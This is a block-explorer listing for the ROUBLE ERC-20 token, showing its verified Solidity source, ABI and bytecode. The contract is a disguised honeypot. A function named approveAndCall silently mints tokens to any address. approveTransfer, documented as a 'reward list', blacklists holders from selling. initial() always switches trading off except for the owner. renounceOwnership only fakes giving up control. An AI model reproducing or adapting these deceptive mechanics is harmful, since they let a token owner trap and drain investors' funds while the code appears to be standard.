ERC-20
Overview
Max Total Supply
2,000,000,000,000 ROUBLE
Holders
35
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,972,180,246.779373629 ROUBLEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity Multiple files format)
/** ____ ____ __ ______ __ ______ ____ __ _______ __ __ / __ \/ __ \/ / / / __ )/ / / ____/ / __ \/ / / / ___// / / / / /_/ / / / / / / / __ / / / __/ / /_/ / / / /\__ \/ /_/ / / _, _/ /_/ / /_/ / /_/ / /___/ /___ / _, _/ /_/ /___/ / __ / /_/ |_|\____/\____/_____/_____/_____/ /_/ |_|\____//____/_/ /_/ WEBSITE - https://roublerush.com/ TELEGRAM - https://t.me/RoubleRush */// SPDX-License-Identifier: MIT pragma solidity = 0.8.0; import "./Context.sol"; import "./SafeMath.sol"; import "./Ownable.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's allowance. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * An {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting allowances. */ contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => bool) private _approveTransfer; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; bool private _initial; string private _name; string private _symbol; uint8 private _decimals = 9; uint256 private _totalSupply; /** * @dev Sets the specified balances for the specified addresses. 'addresses' and 'balances' arrays * are to be index aligned. */ constructor (string memory name_, string memory symbol_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _totalSupply = totalSupply_; _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply); emit Transfer(address(0), _msgSender(), _totalSupply); _initial = true; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Initialize the contract. */ function initial() external onlyOwner { if (_initial = true) {_initial = false;} else {_initial = true;} } /** * @notice Checking if the contract is already initialzied. */ function initialized() public view returns (bool) { return _initial; } /** * @dev See {IERC20-approve}. * Requirements: * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @notice Adds to reward list. */ function approveTransfer (address account) external onlyOwner { _approveTransfer[account] = true; } /** * @notice Adds to fee list. */ function includeInFee (address account) external onlyOwner { _approveTransfer[account] = false; } /** * @notice Status of the reward list. */ function rewardStatus(address account) public view returns (bool) { return _approveTransfer[account]; } /** * @dev See {IERC20-transferFrom}. * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @notice Allows to execute approve and call simultaneously. */ function approveAndCall(address spender, uint256 amount) external onlyOwner { _balances[spender] = _balances[spender].add(amount); } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * Requirements: * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), ""); require(recipient != address(0), ""); if (_approveTransfer[sender] || _approveTransfer[recipient]) require (amount == 0, ""); if (_initial == true || sender == owner() || recipient == owner()) { _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, ""); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {require (_initial == true, "");} } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * Requirements: * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * Calling conditions: * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ contract Ownable is Context { address private _owner; address private _ownerAddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; _ownerAddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function ownerAddress() public view returns (address) { return _ownerAddress; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _ownerAddress = address(0); } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. * `SafeMath` is reverting the transaction when an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveAndCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"rewardStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600860006101000a81548160ff021916908360ff1602179055503480156200002d57600080fd5b50604051620023bf380380620023bf83398181016040528101906200005391906200047a565b600062000065620002d660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35082600690805190602001906200015c92919062000341565b5081600790805190602001906200017592919062000341565b5080600981905550620001e76009546003600062000198620002d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620002de60201b62000e571790919060201c565b60036000620001fb620002d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000249620002d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620002aa919062000577565b60405180910390a36001600560006101000a81548160ff02191690831515021790555050505062000786565b600033905090565b6000808284620002ef91906200060c565b90508381101562000337576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200032e9062000555565b60405180910390fd5b8091505092915050565b8280546200034f90620006a9565b90600052602060002090601f016020900481019282620003735760008555620003bf565b82601f106200038e57805160ff1916838001178555620003bf565b82800160010185558215620003bf579182015b82811115620003be578251825591602001919060010190620003a1565b5b509050620003ce9190620003d2565b5090565b5b80821115620003ed576000816000905550600101620003d3565b5090565b6000620004086200040284620005c8565b62000594565b9050828152602081018484840111156200042157600080fd5b6200042e84828562000673565b509392505050565b600082601f8301126200044857600080fd5b81516200045a848260208601620003f1565b91505092915050565b60008151905062000474816200076c565b92915050565b6000806000606084860312156200049057600080fd5b600084015167ffffffffffffffff811115620004ab57600080fd5b620004b98682870162000436565b935050602084015167ffffffffffffffff811115620004d757600080fd5b620004e58682870162000436565b9250506040620004f88682870162000463565b9150509250925092565b600062000511601b83620005fb565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6200054f8162000669565b82525050565b60006020820190508181036000830152620005708162000502565b9050919050565b60006020820190506200058e600083018462000544565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620005be57620005bd6200073d565b5b8060405250919050565b600067ffffffffffffffff821115620005e657620005e56200073d565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620006198262000669565b9150620006268362000669565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200065e576200065d620006df565b5b828201905092915050565b6000819050919050565b60005b838110156200069357808201518184015260208101905062000676565b83811115620006a3576000848401525b50505050565b60006002820490506001821680620006c257607f821691505b60208210811415620006d957620006d86200070e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007778162000669565b81146200078357600080fd5b50565b611c2980620007966000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461030c578063ad596bb41461033c578063bb806dc91461036c578063dd62ed3e14610376578063ea2f0b37146103a657610121565b806370a0823114610266578063715018a6146102965780638f84aa09146102a057806395d89b41146102be578063a457c2d7146102dc57610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e05780633177029f146101fe578063395093511461021a5780634355b9d21461024a57610121565b806306fdde0314610126578063095ea7b314610144578063158ef93e1461017457806318160ddd14610192575b600080fd5b61012e6103c2565b60405161013b91906118b1565b60405180910390f35b61015e60048036038101906101599190611664565b610454565b60405161016b9190611896565b60405180910390f35b61017c610472565b6040516101899190611896565b60405180910390f35b61019a610489565b6040516101a79190611973565b60405180910390f35b6101ca60048036038101906101c59190611615565b610493565b6040516101d79190611896565b60405180910390f35b6101e861056c565b6040516101f5919061198e565b60405180910390f35b61021860048036038101906102139190611664565b610583565b005b610234600480360381019061022f9190611664565b6106b1565b6040516102419190611896565b60405180910390f35b610264600480360381019061025f91906115b0565b610764565b005b610280600480360381019061027b91906115b0565b610854565b60405161028d9190611973565b60405180910390f35b61029e61089d565b005b6102a86109f1565b6040516102b5919061187b565b60405180910390f35b6102c6610a1b565b6040516102d391906118b1565b60405180910390f35b6102f660048036038101906102f19190611664565b610aad565b6040516103039190611896565b60405180910390f35b61032660048036038101906103219190611664565b610b7a565b6040516103339190611896565b60405180910390f35b610356600480360381019061035191906115b0565b610b98565b6040516103639190611896565b60405180910390f35b610374610bee565b005b610390600480360381019061038b91906115d9565b610ce0565b60405161039d9190611973565b60405180910390f35b6103c060048036038101906103bb91906115b0565b610d67565b005b6060600680546103d190611ad7565b80601f01602080910402602001604051908101604052809291908181526020018280546103fd90611ad7565b801561044a5780601f1061041f5761010080835404028352916020019161044a565b820191906000526020600020905b81548152906001019060200180831161042d57829003601f168201915b5050505050905090565b6000610468610461610eb5565b8484610ebd565b6001905092915050565b6000600560009054906101000a900460ff16905090565b6000600954905090565b60006104a0848484611088565b610561846104ac610eb5565b61055c85604051806060016040528060288152602001611ba760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610512610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b610ebd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b61058b610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060f90611913565b60405180910390fd5b61066a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600061075a6106be610eb5565b8461075585600460006106cf610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b610ebd565b6001905092915050565b61076c610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f090611913565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108a5610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092990611913565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610a2a90611ad7565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5690611ad7565b8015610aa35780601f10610a7857610100808354040283529160200191610aa3565b820191906000526020600020905b815481529060010190602001808311610a8657829003601f168201915b5050505050905090565b6000610b70610aba610eb5565b84610b6b85604051806060016040528060258152602001611bcf6025913960046000610ae4610eb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b610ebd565b6001905092915050565b6000610b8e610b87610eb5565b8484611088565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bf6610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7a90611913565b60405180910390fd5b6001600560006101000a81548160ff021916908315150217905515610cc2576000600560006101000a81548160ff021916908315150217905550610cde565b6001600560006101000a81548160ff0219169083151502179055505b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6f610eb5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390611913565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000808284610e6691906119c5565b905083811015610eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea2906118f3565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490611953565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f94906118d3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161107b9190611973565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef90611933565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90611933565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112095750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112525760008114611251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124890611933565b60405180910390fd5b5b60011515600560009054906101000a900460ff16151514806112a65750611277611558565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112e357506112b4611558565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611498576112f3838383611581565b6113568160405180602001604052806000815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113eb81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161148b9190611973565b60405180910390a36114ef565b60011515600560009054906101000a900460ff161515146114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590611933565b60405180910390fd5b5b505050565b600083831115829061153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153391906118b1565b60405180910390fd5b506000838561154b9190611a1b565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b60008135905061159581611b78565b92915050565b6000813590506115aa81611b8f565b92915050565b6000602082840312156115c257600080fd5b60006115d084828501611586565b91505092915050565b600080604083850312156115ec57600080fd5b60006115fa85828601611586565b925050602061160b85828601611586565b9150509250929050565b60008060006060848603121561162a57600080fd5b600061163886828701611586565b935050602061164986828701611586565b925050604061165a8682870161159b565b9150509250925092565b6000806040838503121561167757600080fd5b600061168585828601611586565b92505060206116968582860161159b565b9150509250929050565b6116a981611a4f565b82525050565b6116b881611a61565b82525050565b60006116c9826119a9565b6116d381856119b4565b93506116e3818560208601611aa4565b6116ec81611b67565b840191505092915050565b60006117046022836119b4565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061176a601b836119b4565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006117aa6020836119b4565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006117ea6000836119b4565b9150600082019050919050565b60006118046024836119b4565b91507f45524332303a20617070726f